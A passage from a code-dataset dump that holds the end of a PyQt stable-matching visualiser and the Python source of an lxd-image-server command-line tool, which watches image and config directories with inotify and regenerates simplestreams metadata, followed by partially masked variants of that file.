self).__init__(text)\n self.__name = name\n def getName(self):\n return self.__name\n \nclass GUI(QtGui.QWidget):\n\n def __init__(self):\n super(GUI, self).__init__()\n self.exp = experiment.Experiments(20,3)\n self.matching = self.exp.unidirectional_match()\n self.man_rank, self.woman_rank = self.matching.get_avg_rank()\n self.man_spouse, self.woman_spouse = self.matching.get_spouse_rank()\n self.initUI()\n self.showMaximized()\n \n def initUI(self):\n self.setWindowTitle(' Stable Matching ')\n grid = QtGui.QGridLayout()\n step_button = QtGui.QPushButton('STEP',self)\n epoch_button = QtGui.QPushButton('EPOCH',self)\n end_button = QtGui.QPushButton('END',self)\n self.showText = QtGui.QTextEdit(self)\n self.showText.setText('START! ')\n\n self.statu_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.statu_scene)\n self.statu_view = QtGui.QGraphicsView()\n self.statu_view.setScene(self.statu_scene) \n self.statu_view.setMinimumSize(600,600)\n self.statu_view.show()\n \n self.history_scene = QtGui.QGraphicsScene(self)\n self.initScene(self.history_scene)\n self.history_view = QtGui.QGraphicsView()\n self.history_view.setScene(self.history_scene)\n self.history_view.setMinimumSize(600,600)\n self.history_view.show()\n \n grid.addWidget(step_button,1,1)\n grid.addWidget(epoch_button,2,1)\n grid.addWidget(end_button,3,1)\n grid.addWidget(self.showText,1,2,4,1)\n grid.addWidget(self.statu_view,1,3,4,1)\n grid.addWidget(self.history_view,1,4,4,1)\n self.setLayout(grid)\n \n self.connect(step_button,QtCore.SIGNAL('clicked()'),self.nextStep)\n self.connect(epoch_button,QtCore.SIGNAL('clicked()'),self.nextEpoch)\n self.connect(end_button,QtCore.SIGNAL('clicked()'),self.exeToEnd)\n\n def initScene(self,scene):\n man_num = self.exp.get_man_num()\n woman_num = self.exp.get_woman_num()\n length = max(man_num,woman_num) * 30\n scene.setSceneRect(0,0,600,length)\n for i in range(man_num):\n node = self.__addNode(scene, 'M_'+str(i),120,i*30,20,20,(0,0,255))\n \n for i in range(woman_num):\n node = self.__addNode(scene, 'W_'+str(i),480,i*30,20,20,(255,0,0))\n \n def __addNode(self, scene, name, x, y, w, h, color=(0,0,0)):\n sex = name.split('_')[0]\n number = name.split('_')[1]\n rank_bias = spouse_bias = rank = 0\n if sex == 'M':\n rank = self.man_rank[int(number)]\n rank_bias = -2.0\n spouse_bias = -4.0\n elif sex == 'W':\n rank = self.woman_rank[int(number)]\n rank_bias = 2.0\n spouse_bias = 4.0\n node = Node(name)\n node.setRect(x,y,w,h)\n node.changeBrush(color,1)\n if int(number) < 10:\n number = '0' + number\n \n text = QtGui.QGraphicsTextItem (number, node)\n text.setPos(x,y)\n text.setTextWidth(1.5*w)\n font = QtGui.QFont('Times',8)\n font.setWeight(99)\n text.setFont(font)\n\n rank_text = QtGui.QGraphicsTextItem (str(rank), node)\n rank_text.setPos(x + rank_bias*w,y)\n rank_text.setTextWidth(2*w)\n font = QtGui.QFont('Times',8)\n font.setWeight(99)\n rank_text.setFont(font)\n\n spouse_text = Text(name+'_S', '-1')\n spouse_text.setPos(x + spouse_bias*w,y)\n spouse_text.setTextWidth(1.5*w)\n font = QtGui.QFont('Times',8)\n font.setWeight(99)\n spouse_text.setFont(font)\n \n scene.addItem(node)\n scene.addItem(spouse_text)\n\n def __addLink(self, scene, name, node1, node2, color = (0,0,0), link_type = ''):\n center1 = node1.boundingRect().center()\n center2 = node2.boundingRect().center()\n name1 = node1.getName().split('_')[1]\n name2 = node2.getName().split('_')[1]\n link = Link(name1 + '-' + name2, link_type)\n link.setLine(center1.x(),center1.y(),center2.x(),center2.y())\n link.changeColor(color)\n scene.addItem(link)\n \n def __deleteLink(self, scene, name):\n link = self.__findItem(name, Link, scene.items())\n scene.removeItem(link)\n\n def __changeText(self, scene, name, text):\n txt = self.__findItem(name, Text, scene.items())\n txt.setPlainText(text)\n \n def __findItem(self, name, _type, items):\n for item in items:\n if isinstance(item, _type) and name == item.getName():\n return item\n return False\n\n def __clearLinks(self, scene):\n for item in scene.items():\n if isinstance(item,Link) and item.getType() != 'marry':\n scene.removeItem(item)\n\n def __clearUpLinks(self, scene):\n for item in scene.items():\n if isinstance(item, Link):\n scene.removeItem(item)\n\n def __refreshViewStep(self, info):\n record = info.split('\\n')\n length = len(record)\n lineiter = 0\n epoch = record[lineiter].strip().split(':')[1]\n lineiter += 1\n step = record[lineiter].strip().split(':')[1]\n lineiter += 1\n statu = record[lineiter].strip()\n if 'DONE' in statu:\n return 0\n elif 'is not activity' in statu:\n return 1\n elif 'is married' in statu:\n return 2 \n couple = statu.replace(' ','').split('target')\n man = self.__findItem('M_'+couple[0], Node, self.statu_scene.items())\n woman = self.__findItem('W_'+couple[1], Node, self.statu_scene.items())\n lineiter += 1\n sui_rank = record[lineiter].replace(' ','').split(':')[1]\n lineiter += 1\n if 'Husband Rank' in record[lineiter]:\n husband_rank = record[lineiter].replace(' ','').split(':')[1]\n lineiter += 1\n if 'Succeed' in record[lineiter]:\n self.__addLink(self.statu_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry')\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, link_type = 'marry')\n self.__changeText(self.statu_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.statu_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n self.__changeText(self.history_scene, 'M_' + couple[0] + '_S', str(self.matching.get_spouse_rank(int(couple[0]) + 1)))\n self.__changeText(self.history_scene, 'W_' + couple[1] + '_S', str(self.matching.get_spouse_rank(-(int(couple[1]) + 1))))\n lineiter += 1\n if lineiter <= length:\n if 'threw away' in record[lineiter]:\n throwCouple = record[lineiter].replace(' ','').split('threwaway')\n node1 = self.__findItem('M_' + throwCouple[1], Node, self.history_scene.items())\n node2 = self.__findItem('W_' + throwCouple[0], Node, self.history_scene.items())\n self.__addLink(self.history_scene, throwCouple[1] + '-' + throwCouple[0], node1, node2, (0,255,0) , 'break')\n self.__deleteLink(self.statu_scene, throwCouple[1] + '-' + throwCouple[0])\n self.__changeText(self.statu_scene, 'M_' + throwCouple[1] + '_S', '-1')\n self.__changeText(self.history_scene, 'M_' + throwCouple[1] + '_S', '-1')\n self.statu_view.update()\n self.history_view.update()\n elif 'Failed' in record[lineiter]:\n self.__addLink(self.history_scene, couple[0] + '-' + couple[1], man, woman, (0,0,255) , 'failed')\n self.statu_view.update()\n self.history_view.update()\n \n def nextStep(self):\n info = self.matching.step()\n self.showText.setText(info)\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n self.__refreshViewStep(info) \n\n def nextEpoch(self):\n info = self.matching.epoch()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n sep = info.split('\\n')[0]\n records = info.split(sep+'\\n')\n del records[0]\n for record in records:\n self.__refreshViewStep(sep+'\\n'+record) \n self.showText.setText(info)\n\n def exeToEnd(self):\n info = self.matching.exe_to_end()\n self.__clearLinks(self.statu_scene)\n self.__clearUpLinks(self.history_scene)\n records = info.split('EPOCH')\n del records[0]\n for record in records:\n self.__refreshViewStep('EPOCH'+record)\n \n self.showText.setText(info)\n \n def closeEvent(self, event):\n reply = QtGui.QMessageBox.question(self, 'Message',\n 'Are you sure to quit?', QtGui.QMessageBox.Yes, QtGui.QMessageBox.No)\n if reply == QtGui.QMessageBox.Yes:\n event.accept()\n else:\n event.ignore()\n\nif __name__ == '__main__':\n app = QtGui.QApplication(sys.argv)\n gui = GUI()\n gui.show()\n sys.exit(app.exec_())\n",
"step-ids": [
18,
20,
23,
25,
32
]
}
|
[
18,
20,
23,
25,
32
] |
import os
import sys
import re
import traceback
import logging
import queue
import threading
from logging.handlers import TimedRotatingFileHandler
from pathlib import Path
import click
import inotify.adapters
from inotify.constants import (IN_ATTRIB, IN_DELETE, IN_MOVED_FROM,
IN_MOVED_TO, IN_CLOSE_WRITE)
from lxd_image_server.simplestreams.images import Images
from lxd_image_server.tools.cert import generate_cert
from lxd_image_server.tools.operation import Operations
from lxd_image_server.tools.mirror import MirrorManager
from lxd_image_server.tools.config import Config
logger = logging.getLogger('lxd-image-server')
event_queue = queue.Queue()
def threaded(fn):
def wrapper(*args, **kwargs):
threading.Thread(target=fn, args=args, kwargs=kwargs).start()
return wrapper
def configure_log(log_file, verbose=False):
filename = log_file
if log_file == 'STDOUT':
handler = logging.StreamHandler(sys.stdout)
elif log_file == 'STDERR':
handler = logging.StreamHandler(sys.stderr)
else:
handler = TimedRotatingFileHandler(
filename,
when="d", interval=7, backupCount=4)
formatter = logging.Formatter('[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')
handler.setFormatter(formatter)
logger.setLevel('DEBUG' if verbose else 'INFO')
logger.addHandler(handler)
def needs_update(events):
modified_files = []
for event in list(events):
if re.match('\d{8}_\d{2}:\d{2}', event[3]) or \
any(k in event[1]
for k in ('IN_MOVED_FROM', 'IN_MOVED_TO',
'IN_DELETE', 'IN_CLOSE_WRITE')):
logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'
.format(event[2], event[3], event[1]))
modified_files.append(event)
return modified_files
def config_inotify_setup(skipWatchingNonExistent: bool) -> inotify.adapters.Inotify:
i = inotify.adapters.Inotify()
watchedDirs = {}
for p in Config.paths:
if os.path.exists(p):
if os.path.isfile(p):
logger.debug("Watching existing config file {}".format(p))
i.add_watch(p, mask= inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_DELETE)
else:
logger.debug("Watching existing config directory {}".format(p))
i.add_watch(p) # SEEME: all events?
elif not skipWatchingNonExistent:
(d, n) = os.path.split(p)
while not os.path.exists(d):
(d, n) = os.path.split(d)
if d not in watchedDirs:
i.add_watch(d, inotify.constants.IN_DELETE | inotify.constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)
logger.debug("Watching directory {} as base for {}".format(d, p))
watchedDirs[d] = True
return i
@threaded
def update_config(skipWatchingNonExistent = True):
i = config_inotify_setup(skipWatchingNonExistent)
while True:
reload = False
for event in i.event_gen(yield_nones=False):
(_, mask, dir, file) = event
fp = os.path.join(dir, file).rstrip(os.path.sep)
for p in Config.paths:
if p == fp or (dir == p):
reload = True
break
if reload:
break
if reload:
logger.debug("Will reload configuration")
Config.reload_data()
i = config_inotify_setup()
MirrorManager.update_mirror_list()
else:
logger.debug("No need to reload configuration")
@threaded
def update_metadata(img_dir, streams_dir):
MirrorManager.img_dir = img_dir
MirrorManager.update_mirror_list()
while True:
events = event_queue.get()
ops = Operations(events, str(Path(img_dir).resolve()))
if ops:
logger.info('Updating server: %s', ','.join(
str(x) for x in ops.ops))
images = Images(str(Path(streams_dir).resolve()), logger=logger)
images.update(ops.ops)
images.save()
MirrorManager.update()
logger.info('Server updated')
def fix_permissions(path):
Path(path).chmod(0o775)
for root, dirs, files in os.walk(path):
for elem in files:
Path(root, elem).chmod(0o775)
for elem in dirs:
Path(root, elem).chmod(0o775)
@click.group()
@click.option('--log-file', default='./lxd-image-server.log',
show_default=True)
@click.option('--verbose', help='Sets log level to debug',
is_flag=True, default=False)
def cli(log_file, verbose):
configure_log(log_file, verbose)
@cli.command()
@click.option('--img_dir', default='/var/www/simplestreams/images',
show_default=True,
type=click.Path(exists=True, file_okay=False,
resolve_path=True),
callback=lambda ctx, param, val: Path(val))
@click.option('--streams_dir', default='/var/www/simplestreams/streams/v1',
show_default=True,
type=click.Path(exists=True, file_okay=False,
resolve_path=True))
@click.pass_context
def update(ctx, img_dir, streams_dir):
logger.info('Updating server')
img_dir = Path(img_dir).expanduser().resolve()
streams_dir = Path(streams_dir).expanduser().resolve()
images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=logger)
# Generate a fake event to update all tree
fake_events = [
(None, ['IN_ISDIR', 'IN_CREATE'],
str(img_dir.parent), str(img_dir.name))
]
operations = Operations(fake_events, str(img_dir))
images.update(operations.ops)
images.save()
logger.info('Server updated')
@cli.command()
@click.option('--root_dir', default='/var/www/simplestreams',
show_default=True)
@click.option('--ssl_dir', default='/etc/nginx/ssl', show_default=True,
callback=lambda ctx, param, val: Path(val))
@click.option('--ssl_skip', default=False, is_flag=True)
@click.option('--nginx_skip', default=False, is_flag=True)
@click.pass_context
def init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):
root_dir = Path(root_dir).expanduser().resolve()
if not Path(root_dir).exists():
logger.error('Root directory does not exists')
else:
if nginx_skip:
ssl_skip = True
if not ssl_skip:
if not ssl_dir.exists():
os.makedirs(str(ssl_dir))
if not (ssl_dir / 'nginx.key').exists():
generate_cert(str(ssl_dir))
img_dir = str(Path(root_dir, 'images'))
streams_dir = str(Path(root_dir, 'streams/v1'))
if not Path(img_dir).exists():
os.makedirs(img_dir)
if not Path(streams_dir).exists():
os.makedirs(streams_dir)
if not nginx_skip:
conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')
if not conf_path.exists():
conf_path.symlink_to(
'/etc/nginx/sites-available/simplestreams.conf')
os.system('nginx -s reload')
if not Path(root_dir, 'streams', 'v1', 'images.json').exists():
ctx.invoke(update, img_dir=Path(root_dir, 'images'),
streams_dir=Path(root_dir, 'streams', 'v1'))
fix_permissions(img_dir)
fix_permissions(streams_dir)
@cli.command()
@click.option('--img_dir', default='/var/www/simplestreams/images',
show_default=True,
type=click.Path(exists=True, file_okay=False,
resolve_path=True))
@click.option('--streams_dir', default='/var/www/simplestreams/streams/v1',
type=click.Path(exists=True, file_okay=False,
resolve_path=True), show_default=True)
@click.option('--skip-watch-config-non-existent', default=False, type=bool, is_flag=True)
@click.pass_context
def watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):
path_img_dir = str(Path(img_dir).expanduser().resolve())
path_streams_dir = str(Path(streams_dir).expanduser().resolve())
logger.info("Starting watch process")
Config.load_data()
# Lauch threads
# SEEME: in case an event will come from watching config files, there is a race condition between update_config
# thread using indirectly MirrorManager.img_dir and thread update_metadata setting MirrorManager.img_dir
# Also, race condition on calling MirrorManager.update_mirror_list() in both threads.
update_config(skip_watch_config_non_existent)
update_metadata(path_img_dir, path_streams_dir)
logger.debug("Watching image directory {}".format(path_img_dir))
i = inotify.adapters.InotifyTree(path_img_dir,
mask=(IN_ATTRIB | IN_DELETE |
IN_MOVED_FROM | IN_MOVED_TO |
IN_CLOSE_WRITE))
while True:
events = i.event_gen(yield_nones=False, timeout_s=15)
files_changed = needs_update(events)
if files_changed:
event_queue.put(files_changed)
def main():
try:
sys.exit(cli())
except Exception:
logger.error(traceback.format_exc())
sys.exit(1)
if __name__ == '__main__':
main()
|
normal
|
{
"blob_id": "3a96ede91069df0c71905415e598dbbd9d3056fd",
"index": 9730,
"step-1": "<mask token>\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\n<mask token>\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n<mask token>\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef threaded(fn):\n\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\\\d{8}_\\\\d{2}:\\\\d{2}', event[3]) or any(k in event[1] for\n k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE',\n 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'.\n format(event[2], event[3], event[1]))\n modified_files.append(event)\n return modified_files\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n<mask token>\n\n\ndef fix_permissions(path):\n Path(path).chmod(509)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(509)\n for elem in dirs:\n Path(root, elem).chmod(509)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log', show_default=True\n )\[email protected]('--verbose', help='Sets log level to debug', is_flag=True,\n default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]_context\ndef update(ctx, img_dir, streams_dir):\n logger.info('Updating server')\n img_dir = Path(img_dir).expanduser().resolve()\n streams_dir = Path(streams_dir).expanduser().resolve()\n images = Images(str(Path(streams_dir).resolve()), rebuild=True, logger=\n logger)\n fake_events = [(None, ['IN_ISDIR', 'IN_CREATE'], str(img_dir.parent),\n str(img_dir.name))]\n operations = Operations(fake_events, str(img_dir))\n images.update(operations.ops)\n images.save()\n logger.info('Server updated')\n\n\[email protected]()\[email protected]('--root_dir', default='/var/www/simplestreams', show_default=True\n )\[email protected]('--ssl_dir', default='/etc/nginx/ssl', show_default=True,\n callback=lambda ctx, param, val: Path(val))\[email protected]('--ssl_skip', default=False, is_flag=True)\[email protected]('--nginx_skip', default=False, is_flag=True)\[email protected]_context\ndef init(ctx, root_dir, ssl_dir, ssl_skip, nginx_skip):\n root_dir = Path(root_dir).expanduser().resolve()\n if not Path(root_dir).exists():\n logger.error('Root directory does not exists')\n else:\n if nginx_skip:\n ssl_skip = True\n if not ssl_skip:\n if not ssl_dir.exists():\n os.makedirs(str(ssl_dir))\n if not (ssl_dir / 'nginx.key').exists():\n generate_cert(str(ssl_dir))\n img_dir = str(Path(root_dir, 'images'))\n streams_dir = str(Path(root_dir, 'streams/v1'))\n if not Path(img_dir).exists():\n os.makedirs(img_dir)\n if not Path(streams_dir).exists():\n os.makedirs(streams_dir)\n if not nginx_skip:\n conf_path = Path('/etc/nginx/sites-enabled/simplestreams.conf')\n if not conf_path.exists():\n conf_path.symlink_to(\n '/etc/nginx/sites-available/simplestreams.conf')\n os.system('nginx -s reload')\n if not Path(root_dir, 'streams', 'v1', 'images.json').exists():\n ctx.invoke(update, img_dir=Path(root_dir, 'images'),\n streams_dir=Path(root_dir, 'streams', 'v1'))\n fix_permissions(img_dir)\n fix_permissions(streams_dir)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n type=click.Path(exists=True, file_okay=False, resolve_path=True),\n show_default=True)\[email protected]('--skip-watch-config-non-existent', default=False, type=bool,\n is_flag=True)\[email protected]_context\ndef watch(ctx, img_dir, streams_dir, skip_watch_config_non_existent: bool):\n path_img_dir = str(Path(img_dir).expanduser().resolve())\n path_streams_dir = str(Path(streams_dir).expanduser().resolve())\n logger.info('Starting watch process')\n Config.load_data()\n update_config(skip_watch_config_non_existent)\n update_metadata(path_img_dir, path_streams_dir)\n logger.debug('Watching image directory {}'.format(path_img_dir))\n i = inotify.adapters.InotifyTree(path_img_dir, mask=IN_ATTRIB |\n IN_DELETE | IN_MOVED_FROM | IN_MOVED_TO | IN_CLOSE_WRITE)\n while True:\n events = i.event_gen(yield_nones=False, timeout_s=15)\n files_changed = needs_update(events)\n if files_changed:\n event_queue.put(files_changed)\n\n\ndef main():\n try:\n sys.exit(cli())\n except Exception:\n logger.error(traceback.format_exc())\n sys.exit(1)\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef threaded(fn):\n\n def wrapper(*args, **kwargs):\n threading.Thread(target=fn, args=args, kwargs=kwargs).start()\n return wrapper\n\n\ndef configure_log(log_file, verbose=False):\n filename = log_file\n if log_file == 'STDOUT':\n handler = logging.StreamHandler(sys.stdout)\n elif log_file == 'STDERR':\n handler = logging.StreamHandler(sys.stderr)\n else:\n handler = TimedRotatingFileHandler(filename, when='d', interval=7,\n backupCount=4)\n formatter = logging.Formatter(\n '[%(asctime)s] [LxdImgServer] [%(levelname)s] %(message)s')\n handler.setFormatter(formatter)\n logger.setLevel('DEBUG' if verbose else 'INFO')\n logger.addHandler(handler)\n\n\ndef needs_update(events):\n modified_files = []\n for event in list(events):\n if re.match('\\\\d{8}_\\\\d{2}:\\\\d{2}', event[3]) or any(k in event[1] for\n k in ('IN_MOVED_FROM', 'IN_MOVED_TO', 'IN_DELETE',\n 'IN_CLOSE_WRITE')):\n logger.debug('Event: PATH=[{}] FILENAME=[{}] EVENT_TYPES={}'.\n format(event[2], event[3], event[1]))\n modified_files.append(event)\n return modified_files\n\n\ndef config_inotify_setup(skipWatchingNonExistent: bool\n ) ->inotify.adapters.Inotify:\n i = inotify.adapters.Inotify()\n watchedDirs = {}\n for p in Config.paths:\n if os.path.exists(p):\n if os.path.isfile(p):\n logger.debug('Watching existing config file {}'.format(p))\n i.add_watch(p, mask=inotify.constants.IN_CLOSE_WRITE |\n inotify.constants.IN_DELETE)\n else:\n logger.debug('Watching existing config directory {}'.format(p))\n i.add_watch(p)\n elif not skipWatchingNonExistent:\n d, n = os.path.split(p)\n while not os.path.exists(d):\n d, n = os.path.split(d)\n if d not in watchedDirs:\n i.add_watch(d, inotify.constants.IN_DELETE | inotify.\n constants.IN_CLOSE_WRITE | inotify.constants.IN_CREATE)\n logger.debug('Watching directory {} as base for {}'.format(\n d, p))\n watchedDirs[d] = True\n return i\n\n\n@threaded\ndef update_config(skipWatchingNonExistent=True):\n i = config_inotify_setup(skipWatchingNonExistent)\n while True:\n reload = False\n for event in i.event_gen(yield_nones=False):\n _, mask, dir, file = event\n fp = os.path.join(dir, file).rstrip(os.path.sep)\n for p in Config.paths:\n if p == fp or dir == p:\n reload = True\n break\n if reload:\n break\n if reload:\n logger.debug('Will reload configuration')\n Config.reload_data()\n i = config_inotify_setup()\n MirrorManager.update_mirror_list()\n else:\n logger.debug('No need to reload configuration')\n\n\n@threaded\ndef update_metadata(img_dir, streams_dir):\n MirrorManager.img_dir = img_dir\n MirrorManager.update_mirror_list()\n while True:\n events = event_queue.get()\n ops = Operations(events, str(Path(img_dir).resolve()))\n if ops:\n logger.info('Updating server: %s', ','.join(str(x) for x in ops\n .ops))\n images = Images(str(Path(streams_dir).resolve()), logger=logger)\n images.update(ops.ops)\n images.save()\n MirrorManager.update()\n logger.info('Server updated')\n\n\ndef fix_permissions(path):\n Path(path).chmod(509)\n for root, dirs, files in os.walk(path):\n for elem in files:\n Path(root, elem).chmod(509)\n for elem in dirs:\n Path(root, elem).chmod(509)\n\n\[email protected]()\[email protected]('--log-file', default='./lxd-image-server.log', show_default=True\n )\[email protected]('--verbose', help='Sets log level to debug', is_flag=True,\n default=False)\ndef cli(log_file, verbose):\n configure_log(log_file, verbose)\n\n\[email protected]()\[email protected]('--img_dir', default='/var/www/simplestreams/images',\n show_default=True, type=click.Path(exists=True, file_okay=False,\n resolve_path=True), callback=lambda ctx, param, val: Path(val))\[email protected]('--streams_dir', default='/var/www/simplestreams/streams/v1',\n show_default=True, type=click.Path(exists=True, 